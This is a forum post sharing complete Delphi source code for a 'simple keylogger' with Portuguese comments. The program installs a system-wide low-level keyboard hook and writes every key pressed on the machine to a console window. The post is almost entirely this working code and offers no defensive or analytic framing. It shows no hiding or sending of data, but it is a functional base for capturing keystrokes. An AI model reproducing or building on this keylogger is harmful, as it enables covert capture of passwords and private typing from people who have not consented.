Jump to content

Recommended Posts

Posted

Simple keylogger using hooking


program Project1;
// Coded by bb69

{$APPTYPE CONSOLE}


uses
windows;


type
tagKBDLLHOOKSTRUCT = packed record // cont?m as informa??es do evento
vkCode: DWord; // virtual key (1.254) vk_back,vk_return,etc
scanCode: DWord;
flags: DWord;
time: DWord;
dwExtraInfo: PDWord;
end;
TKBDLLHOOKSTRUCT = tagKBDLLHOOKSTRUCT;
PKBDLLHOOKSTRUCT = ^TKBDLLHOOKSTRUCT;


var
_hook: HHOOK; // manipulador da hook
msg:tmsg; // manipulador para receber as mensagens do Windows


function virtualkey(key: word): string;
var
keyboardState: TKeyboardState;
ascii: Integer;
begin
GetKeyboardState(keyboardState); // pegamos o status das teclas(256)
try
SetLength(Result,2);
ascii := ToAscii(key, MapVirtualKey(key, 0), keyboardState, @result[1], 0) ;
setlength(Result,1); // eliminamos os espa?os
except
result := '';
end;
end;


function KeyboardHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): longint; stdcall;
var
p:PKBDLLHOOKSTRUCT;
begin
p := PKBDLLHOOKSTRUCT(lParam);
if wParam = $0100 then begin
case p.vkCode of
VK_RETURN: writeln(''); // enter
end;
write(virtualkey(p.vkCode));
end;
Result := CallNextHookEx(0,Code,wParam,lParam);
end;




begin
_hook := SetWindowsHookEx(13, KeyboardHook, hInstance, 0);
if _hook = 0 then writeln('Erro ao iniciar o hook') else writeln('Iniciado com sucesso');


while getmessage(msg,0,0,0) do begin
translatemessage(msg);
dispatchmessage(msg);
end;
end.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...